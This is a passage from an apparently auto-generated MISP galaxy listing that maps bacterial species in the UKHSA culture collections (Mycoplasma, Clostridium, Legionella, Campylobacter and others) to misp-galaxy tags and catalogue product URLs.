The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma pulmonis"*

Table 30626. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-pulmonis

Mycobacterium duvalii

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium duvalii"*

Table 30627. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-duvalii

Propionibacterium acnes

The tag is: *misp-galaxy:ukhsa-culture-collections="Propionibacterium acnes"*

Table 30628. Table References

Links
https://www.culturecollections.org.uk/nop/product/propionibacterium-acnes

Bacillus mycoides

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacillus mycoides"*

Table 30629. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacillus-mycoides
https://www.culturecollections.org.uk/nop/product/bacillus-mycoides-3
https://www.culturecollections.org.uk/nop/product/bacillus-mycoides-2

Legionella quateirensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella quateirensis"*

Table 30630. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-quateirensis

Legionella gratiana

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella gratiana"*

Table 30631. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-gratiana

Staphylococcus arlettae

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus arlettae"*

Table 30632. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-arlettae

Helicobacter acinonychis

The tag is: *misp-galaxy:ukhsa-culture-collections="Helicobacter acinonychis"*

Table 30633. Table References

Links
https://www.culturecollections.org.uk/nop/product/helicobacter-acinonychis
https://www.culturecollections.org.uk/nop/product/helicobacter-acinonychis-3
https://www.culturecollections.org.uk/nop/product/helicobacter-acinonychis-2

Afipia clevelandensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Afipia clevelandensis"*

Table 30634. Table References

Links
https://www.culturecollections.org.uk/nop/product/afipia-clevelandensis

Actinobacillus delphinicola

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinobacillus delphinicola"*

Table 30635. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinobacillus-delphinicola
https://www.culturecollections.org.uk/nop/product/actinobacillus-delphinicola-2

Bacteroides variabilis

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacteroides variabilis"*

Table 30636. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacteroides-variabilis

Bartonella henselae

The tag is: *misp-galaxy:ukhsa-culture-collections="Bartonella henselae"*

Table 30637. Table References

Links
https://www.culturecollections.org.uk/nop/product/bartonella-henselae

Campylobacter insulaenigrae

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter insulaenigrae"*

Table 30638. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-insulaenigrae
https://www.culturecollections.org.uk/nop/product/campylobacter-insulaenigrae-3

https://www.culturecollections.org.uk/nop/product/campylobacter-insulaenigrae-2
https://www.culturecollections.org.uk/nop/product/campylobacter-insulaenigrae-4

Neisseria dentiae

The tag is: *misp-galaxy:ukhsa-culture-collections="Neisseria dentiae"*

Table 30639. Table References

Links
https://www.culturecollections.org.uk/nop/product/neisseria-dentiae

Rhodococcus erythropolis

The tag is: *misp-galaxy:ukhsa-culture-collections="Rhodococcus erythropolis"*

Table 30640. Table References

Links
https://www.culturecollections.org.uk/nop/product/rhodococcus-erythropolis-2
https://www.culturecollections.org.uk/nop/product/rhodococcus-erythropolis

Clostridium lentoputrescens

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium lentoputrescens"*

Table 30641. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-lentoputrescens

Porphyromonas endodontalis

The tag is: *misp-galaxy:ukhsa-culture-collections="Porphyromonas endodontalis"*

Table 30642. Table References

Links
https://www.culturecollections.org.uk/nop/product/porphyromonas-endodontalis

Peptostreptococcus lacrimalis

The tag is: *misp-galaxy:ukhsa-culture-collections="Peptostreptococcus lacrimalis"*

Table 30643. Table References

Links

https://www.culturecollections.org.uk/nop/product/peptostreptococcus-lacrimalis

Pandoraea norimbergensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Pandoraea norimbergensis"*

Table 30644. Table References

Links
https://www.culturecollections.org.uk/nop/product/pandoraea-norimbergensis

Bordetella trematum

The tag is: *misp-galaxy:ukhsa-culture-collections="Bordetella trematum"*

Table 30645. Table References

Links
https://www.culturecollections.org.uk/nop/product/bordetella-trematum-2
https://www.culturecollections.org.uk/nop/product/bordetella-trematum

Pasteurella skyensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Pasteurella skyensis"*

Table 30646. Table References

Links
https://www.culturecollections.org.uk/nop/product/pasteurella-skyensis

Tsukamurella inchonensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Tsukamurella inchonensis"*

Table 30647. Table References

Links
https://www.culturecollections.org.uk/nop/product/tsukamurella-inchonensis

Clostridium xylanolyticum

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium xylanolyticum"*

Table 30648. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-xylanolyticum

Legionella gresilensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella gresilensis"*

Table 30649. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-gresilensis

Clostridium putrefaciens

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium putrefaciens"*

Table 30650. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-putrefaciens

Corynebacterium mycetoides

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium mycetoides"*

Table 30651. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-mycetoides

Pseudomonas syncyanea

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudomonas syncyanea"*

Table 30652. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudomonas-syncyanea

Alysiella crassa

The tag is: *misp-galaxy:ukhsa-culture-collections="Alysiella crassa"*

Table 30653. Table References

Links
https://www.culturecollections.org.uk/nop/product/alysiella-crassa

Acholeplasma granularum

The tag is: *misp-galaxy:ukhsa-culture-collections="Acholeplasma granularum"*

Table 30654. Table References

Links
https://www.culturecollections.org.uk/nop/product/acholeplasma-granularum

Mycoplasma flocculare

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma flocculare"*

Table 30655. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-flocculare

Mycoplasma canis

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma canis"*

Table 30656. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-canis

Mycoplasma moatsii

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma moatsii"*

Table 30657. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-moatsii

Mycoplasma maculosum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma maculosum"*

Table 30658. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-maculosum

Mycoplasma lipophilum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma lipophilum"*

Table 30659. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-lipophilum

Mycoplasma columbinasale

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma columbinasale"*

Table 30660. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-columbinasale

Mycoplasma iowae

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma iowae"*

Table 30661. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-iowae

Corynebacterium matruchotii

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium matruchotii"*

Table 30662. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-matruchotii
https://www.culturecollections.org.uk/nop/product/corynebacterium-matruchotii-3
https://www.culturecollections.org.uk/nop/product/corynebacterium-matruchotii-2

Gemella haemolysans

The tag is: *misp-galaxy:ukhsa-culture-collections="Gemella haemolysans"*

Table 30663. Table References

Links
https://www.culturecollections.org.uk/nop/product/gemella-haemolysans-2

https://www.culturecollections.org.uk/nop/product/gemella-haemolysans-3
https://www.culturecollections.org.uk/nop/product/gemella-haemolysans-4
https://www.culturecollections.org.uk/nop/product/gemella-haemolysans

Acinetobacter haemolyticus subsp. haemolyticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Acinetobacter haemolyticus subsp. haemolyticus"*

Table 30664. Table References

Links
https://www.culturecollections.org.uk/nop/product/acinetobacter-haemolyticus-subsp-haemolyticus

Moraxella liquefaciens

The tag is: *misp-galaxy:ukhsa-culture-collections="Moraxella liquefaciens"*

Table 30665. Table References

Links
https://www.culturecollections.org.uk/nop/product/moraxella-liquefaciens
https://www.culturecollections.org.uk/nop/product/moraxella-liquefaciens-2

Alcaligenes odorans

The tag is: *misp-galaxy:ukhsa-culture-collections="Alcaligenes odorans"*

Table 30666. Table References

Links
https://www.culturecollections.org.uk/nop/product/alcaligenes-odorans
https://www.culturecollections.org.uk/nop/product/alcaligenes-odorans-2

Ramibacterium pseudoramosum

The tag is: *misp-galaxy:ukhsa-culture-collections="Ramibacterium pseudoramosum"*

Table 30667. Table References

Links
https://www.culturecollections.org.uk/nop/product/ramibacterium-pseudoramosum

Fusobacterium necrophorum

The tag is: *misp-galaxy:ukhsa-culture-collections="Fusobacterium necrophorum"*

Table 30668. Table References

Links
https://www.culturecollections.org.uk/nop/product/fusobacterium-necrophorum-2
https://www.culturecollections.org.uk/nop/product/fusobacterium-necrophorum
https://www.culturecollections.org.uk/nop/product/fusobacterium-necrophorum-3
https://www.culturecollections.org.uk/nop/product/fusobacterium-necrophorum-4

Aminobacter aminovorans

The tag is: *misp-galaxy:ukhsa-culture-collections="Aminobacter aminovorans"*

Table 30669. Table References

Links
https://www.culturecollections.org.uk/nop/product/aminobacter-aminovorans

Pseudomonas cruciviae

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudomonas cruciviae"*

Table 30670. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudomonas-cruciviae

Citrobacter amalonaticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Citrobacter amalonaticus"*

Table 30671. Table References

Links
https://www.culturecollections.org.uk/nop/product/citrobacter-amalonaticus
https://www.culturecollections.org.uk/nop/product/citrobacter-amalonaticus-2

Mycobacterium chubuense

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium chubuense"*

Table 30672. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-chubuense

Tatlockia micdadei

The tag is: *misp-galaxy:ukhsa-culture-collections="Tatlockia micdadei"*

Table 30673. Table References

Links
https://www.culturecollections.org.uk/nop/product/tatlockia-micdadei
https://www.culturecollections.org.uk/nop/product/tatlockia-micdadei-3
https://www.culturecollections.org.uk/nop/product/tatlockia-micdadei-2

Clostridium carnis

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium carnis"*

Table 30674. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-carnis
https://www.culturecollections.org.uk/nop/product/clostridium-carnis-2

Clostridium aerofoetidum

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium aerofoetidum"*

Table 30675. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-aerofoetidum

Actinomadura pelletieri

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinomadura pelletieri"*

Table 30676. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinomadura-pelletieri
https://www.culturecollections.org.uk/nop/product/actinomadura-pelletieri-3
https://www.culturecollections.org.uk/nop/product/actinomadura-pelletieri-2

Clostridium putrificum

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium putrificum"*

Table 30677. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-putrificum
https://www.culturecollections.org.uk/nop/product/clostridium-putrificum-2

Bacillus carotarum

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacillus carotarum"*

Table 30678. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacillus-carotarum

Clostridium clostridiiforme

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium clostridiiforme"*

Table 30679. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-clostridiiforme
https://www.culturecollections.org.uk/nop/product/clostridium-clostridiiforme-2

Moraxella

The tag is: *misp-galaxy:ukhsa-culture-collections="Moraxella"*

Table 30680. Table References

Links
https://www.culturecollections.org.uk/nop/product/moraxella
https://www.culturecollections.org.uk/nop/product/moraxella-3
https://www.culturecollections.org.uk/nop/product/moraxella-2

Haemophilus influenzaemurium

The tag is: *misp-galaxy:ukhsa-culture-collections="Haemophilus influenzaemurium"*

Table 30681. Table References

Links
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzaemurium-2
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzaemurium

Prevotella disiens

The tag is: *misp-galaxy:ukhsa-culture-collections="Prevotella disiens"*

Table 30682. Table References

Links
https://www.culturecollections.org.uk/nop/product/prevotella-disiens

Pasteurella langaaensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Pasteurella langaaensis"*

Table 30683. Table References

Links
https://www.culturecollections.org.uk/nop/product/pasteurella-langaaensis

Actinobacillus hominis

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinobacillus hominis"*

Table 30684. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinobacillus-hominis

Ureaplasma gallorale

The tag is: *misp-galaxy:ukhsa-culture-collections="Ureaplasma gallorale"*

Table 30685. Table References

Links
https://www.culturecollections.org.uk/nop/product/ureaplasma-gallorale

Ureaplasma cati

The tag is: *misp-galaxy:ukhsa-culture-collections="Ureaplasma cati"*

Table 30686. Table References

Links

https://www.culturecollections.org.uk/nop/product/ureaplasma-cati

Mycoplasma rosendalii

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma rosendalii"*

Table 30687. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-rosendalii

Ureaplasm sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Ureaplasm sp."*

Table 30688. Table References

Links
https://www.culturecollections.org.uk/nop/product/ureaplasm-sp-2
https://www.culturecollections.org.uk/nop/product/ureaplasm-sp-3
https://www.culturecollections.org.uk/nop/product/ureaplasm-sp

Sarcina ventriculi

The tag is: *misp-galaxy:ukhsa-culture-collections="Sarcina ventriculi"*

Table 30689. Table References

Links
https://www.culturecollections.org.uk/nop/product/sarcina-ventriculi
https://www.culturecollections.org.uk/nop/product/sarcina-ventriculi-2

Propionibacterium avidum

The tag is: *misp-galaxy:ukhsa-culture-collections="Propionibacterium avidum"*

Table 30690. Table References

Links
https://www.culturecollections.org.uk/nop/product/propionibacterium-avidum

Propionibacterium lymphophilum

The tag is: *misp-galaxy:ukhsa-culture-collections="Propionibacterium lymphophilum"*

Table 30691. Table References

Links
https://www.culturecollections.org.uk/nop/product/propionibacterium-lymphophilum

Veillonella caviae

The tag is: *misp-galaxy:ukhsa-culture-collections="Veillonella caviae"*

Table 30692. Table References

Links
https://www.culturecollections.org.uk/nop/product/veillonella-caviae

Enterobacter taylorae

The tag is: *misp-galaxy:ukhsa-culture-collections="Enterobacter taylorae"*

Table 30693. Table References

Links
https://www.culturecollections.org.uk/nop/product/enterobacter-taylorae

Escherichia fergusonii

The tag is: *misp-galaxy:ukhsa-culture-collections="Escherichia fergusonii"*

Table 30694. Table References

Links
https://www.culturecollections.org.uk/nop/product/escherichia-fergusonii

Moellerella wisconsensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Moellerella wisconsensis"*

Table 30695. Table References

Links
https://www.culturecollections.org.uk/nop/product/moellerella-wisconsensis

Ewingella americana

The tag is: *misp-galaxy:ukhsa-culture-collections="Ewingella americana"*

Table 30696. Table References

Links
https://www.culturecollections.org.uk/nop/product/ewingella-americana

Brevibacterium iodinum

The tag is: *misp-galaxy:ukhsa-culture-collections="Brevibacterium iodinum"*

Table 30697. Table References

Links
https://www.culturecollections.org.uk/nop/product/brevibacterium-iodinum-2
https://www.culturecollections.org.uk/nop/product/brevibacterium-iodinum-3
https://www.culturecollections.org.uk/nop/product/brevibacterium-iodinum

Legionella cincinnatiensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella cincinnatiensis"*

Table 30698. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-cincinnatiensis

Campylobacter fetus subsp. venerealis

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter fetus subsp. venerealis"*

Table 30699. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-fetus-subsp-venerealis-2
https://www.culturecollections.org.uk/nop/product/campylobacter-fetus-subsp-venerealis

Listeria ivanovii subsp. londoniensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Listeria ivanovii subsp. londoniensis"*

Table 30700. Table References

Links
https://www.culturecollections.org.uk/nop/product/listeria-ivanovii-subsp-londoniensis

Afipia broomeae

The tag is: *misp-galaxy:ukhsa-culture-collections="Afipia broomeae"*

Table 30701. Table References

Links

https://www.culturecollections.org.uk/nop/product/afipia-broomeae

Afipia sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Afipia sp."*

Table 30702. Table References

Links
https://www.culturecollections.org.uk/nop/product/afipia-sp-2
https://www.culturecollections.org.uk/nop/product/afipia-sp
https://www.culturecollections.org.uk/nop/product/afipia-sp-3

Legionella adelaidensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella adelaidensis"*

Table 30703. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-adelaidensis

Campylobacter showae

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter showae"*

Table 30704. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-showae

Campylobacter hyoilei

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter hyoilei"*

Table 30705. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-hyoilei-2
https://www.culturecollections.org.uk/nop/product/campylobacter-hyoilei

Campylobacter hyointestinalis

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter hyointestinalis"*

Table 30706. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-hyointestinalis-6
https://www.culturecollections.org.uk/nop/product/campylobacter-hyointestinalis
https://www.culturecollections.org.uk/nop/product/campylobacter-hyointestinalis-2
https://www.culturecollections.org.uk/nop/product/campylobacter-hyointestinalis-3
https://www.culturecollections.org.uk/nop/product/campylobacter-hyointestinalis-4
https://www.culturecollections.org.uk/nop/product/campylobacter-hyointestinalis-5

Sutterella wadsworthensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Sutterella wadsworthensis"*

Table 30707. Table References

Links
https://www.culturecollections.org.uk/nop/product/sutterella-wadsworthensis

Legionella nautarum

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella nautarum"*

Table 30708. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-nautarum

Clostridium scatologenes

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium scatologenes"*

Table 30709. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-scatologenes

Campylobacter lanienae

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter lanienae"*

Table 30710. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-lanienae-2
https://www.culturecollections.org.uk/nop/product/campylobacter-lanienae

Clostridium beijerinckii

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium beijerinckii"*

Table 30711. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-beijerinckii

Prevotella pallens

The tag is: *misp-galaxy:ukhsa-culture-collections="Prevotella pallens"*

Table 30712. Table References

Links
https://www.culturecollections.org.uk/nop/product/prevotella-pallens-2
https://www.culturecollections.org.uk/nop/product/prevotella-pallens

Porphyromonas catoniae

The tag is: *misp-galaxy:ukhsa-culture-collections="Porphyromonas catoniae"*

Table 30713. Table References

Links
https://www.culturecollections.org.uk/nop/product/porphyromonas-catoniae

Helicobacter cholecystus

The tag is: *misp-galaxy:ukhsa-culture-collections="Helicobacter cholecystus"*

Table 30714. Table References

Links
https://www.culturecollections.org.uk/nop/product/helicobacter-cholecystus

Bartonella schoenbuchensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Bartonella schoenbuchensis"*

Table 30715. Table References

Links
https://www.culturecollections.org.uk/nop/product/bartonella-schoenbuchensis

Clostridium symbiosum

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium symbiosum"*

Table 30716. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-symbiosum

Bordetella petrii

The tag is: *misp-galaxy:ukhsa-culture-collections="Bordetella petrii"*

Table 30717. Table References

Links
https://www.culturecollections.org.uk/nop/product/bordetella-petrii
https://www.culturecollections.org.uk/nop/product/bordetella-petrii-2

Bartonella washoensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Bartonella washoensis"*

Table 30718. Table References

Links
https://www.culturecollections.org.uk/nop/product/bartonella-washoensis

Mycoplasma gallinarum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma gallinarum"*

Table 30719. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-gallinarum

Acholeplasma modicum

The tag is: *misp-galaxy:ukhsa-culture-collections="Acholeplasma modicum"*

Table 30720. Table References

Links
https://www.culturecollections.org.uk/nop/product/acholeplasma-modicum

Mycoplasma buccale

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma buccale"*

Table 30721. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-buccale

Mycoplasma bovoculi

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma bovoculi"*

Table 30722. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-bovoculi

Mycoplasma ovipneumoniae

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma ovipneumoniae"*

Table 30723. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-ovipneumoniae

Mycoplasma felis

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma felis"*

Table 30724. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-felis

Mycoplasma gateae

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma gateae"*

Table 30725. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-gateae

Mycoplasma arthritidis

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma arthritidis"*

Table 30726. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-arthritidis

Mycoplasma iners

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma iners"*

Table 30727. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-iners

Mycoplasma hyosynoviae

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma hyosynoviae"*

Table 30728. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-hyosynoviae

Acholeplasma equifetale

The tag is: *misp-galaxy:ukhsa-culture-collections="Acholeplasma equifetale"*

Table 30729. Table References

Links
https://www.culturecollections.org.uk/nop/product/acholeplasma-equifetale

Mycoplasma columborale

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma columborale"*

Table 30730. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-columborale

Mycoplasma fastidiosum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma fastidiosum"*

Table 30731. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-fastidiosum

Cytophaga

The tag is: *misp-galaxy:ukhsa-culture-collections="Cytophaga"*

Table 30732. Table References

Links
https://www.culturecollections.org.uk/nop/product/cytophaga

Mycobacterium brunense

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium brunense"*

Table 30733. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-brunense

Pseudomonas lemonnieri

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudomonas lemonnieri"*

Table 30734. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudomonas-lemonnieri

Pseudomonas nigrifaciens

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudomonas nigrifaciens"*

Table 30735. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudomonas-nigrifaciens

Actinomyces viscosus

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinomyces viscosus"*

Table 30736. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinomyces-viscosus
https://www.culturecollections.org.uk/nop/product/actinomyces-viscosus-2

Streptomyces hominis

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptomyces hominis"*

Table 30737. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptomyces-hominis

Neisseria pharyngis

The tag is: *misp-galaxy:ukhsa-culture-collections="Neisseria pharyngis"*

Table 30738. Table References

Links
https://www.culturecollections.org.uk/nop/product/neisseria-pharyngis

Aeromonas hydrophila subsp. formicans

The tag is: *misp-galaxy:ukhsa-culture-collections="Aeromonas hydrophila subsp. formicans"*

Table 30739. Table References

Links
https://www.culturecollections.org.uk/nop/product/aeromonas-hydrophila-subsp-formicans

Aeromonas sobria

The tag is: *misp-galaxy:ukhsa-culture-collections="Aeromonas sobria"*

Table 30740. Table References

Links
https://www.culturecollections.org.uk/nop/product/aeromonas-sobria-3
https://www.culturecollections.org.uk/nop/product/aeromonas-sobria-2

https://www.culturecollections.org.uk/nop/product/aeromonas-sobria-4

Actinobacillus salpingitidis

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinobacillus salpingitidis"*

Table 30741. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinobacillus-salpingitidis

Vibrio harveyi

The tag is: *misp-galaxy:ukhsa-culture-collections="Vibrio harveyi"*

Table 30742. Table References

Links
https://www.culturecollections.org.uk/nop/product/vibrio-harveyi-2
https://www.culturecollections.org.uk/nop/product/vibrio-harveyi-3
https://www.culturecollections.org.uk/nop/product/vibrio-harveyi

Actinobacillus capsulatus

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinobacillus capsulatus"*

Table 30743. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinobacillus-capsulatus

Chryseobacterium balustinum

The tag is: *misp-galaxy:ukhsa-culture-collections="Chryseobacterium balustinum"*

Table 30744. Table References

Links
https://www.culturecollections.org.uk/nop/product/chryseobacterium-balustinum-2
https://www.culturecollections.org.uk/nop/product/chryseobacterium-balustinum

Prevotella oralis

The tag is: *misp-galaxy:ukhsa-culture-collections="Prevotella oralis"*

Table 30745. Table References

Links
https://www.culturecollections.org.uk/nop/product/prevotella-oralis

Peptoniphilus asaccharolyticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Peptoniphilus asaccharolyticus"*

Table 30746. Table References

Links
https://www.culturecollections.org.uk/nop/product/peptoniphilus-asaccharolyticus

Yersinia frederiksenii

The tag is: *misp-galaxy:ukhsa-culture-collections="Yersinia frederiksenii"*

Table 30747. Table References

Links
https://www.culturecollections.org.uk/nop/product/yersinia-frederiksenii

Bacteroides lentus

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacteroides lentus"*

Table 30748. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacteroides-lentus

Enterobacter amnigenus

The tag is: *misp-galaxy:ukhsa-culture-collections="Enterobacter amnigenus"*

Table 30749. Table References

Links
https://www.culturecollections.org.uk/nop/product/enterobacter-amnigenus

Mycoplasma pirum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma pirum"*

Table 30750. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-pirum

Ureaplasma canis

The tag is: *misp-galaxy:ukhsa-culture-collections="Ureaplasma canis"*

Table 30751. Table References

Links
https://www.culturecollections.org.uk/nop/product/ureaplasma-canis

Mycoplasma sirius

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma sirius"*

Table 30752. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-sirius

Mycoplasma iguanae

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma iguanae"*

Table 30753. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-iguanae

Bacteroides tectus

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacteroides tectus"*

Table 30754. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacteroides-tectus

Bacteroides flavofluorescens

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacteroides flavofluorescens"*

Table 30755. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacteroides-flavofluorescens

Proteus penneri

The tag is: *misp-galaxy:ukhsa-culture-collections="Proteus penneri"*

Table 30756. Table References

Links
https://www.culturecollections.org.uk/nop/product/proteus-penneri
https://www.culturecollections.org.uk/nop/product/proteus-penneri-2

Enterobacter intermedius

The tag is: *misp-galaxy:ukhsa-culture-collections="Enterobacter intermedius"*

Table 30757. Table References

Links
https://www.culturecollections.org.uk/nop/product/enterobacter-intermedius

Clostridium fallax

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium fallax"*

Table 30758. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-fallax

Legionella fairfieldensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella fairfieldensis"*

Table 30759. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-fairfieldensis

Helicobacter nemestrinae

The tag is: *misp-galaxy:ukhsa-culture-collections="Helicobacter nemestrinae"*

Table 30760. Table References

Links
https://www.culturecollections.org.uk/nop/product/helicobacter-nemestrinae

Lactobacillus pampilonensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Lactobacillus pampilonensis"*

Table 30761. Table References

Links
https://www.culturecollections.org.uk/nop/product/lactobacillus-pampilonensis

Helicobacter muridarum

The tag is: *misp-galaxy:ukhsa-culture-collections="Helicobacter muridarum"*

Table 30762. Table References

Links
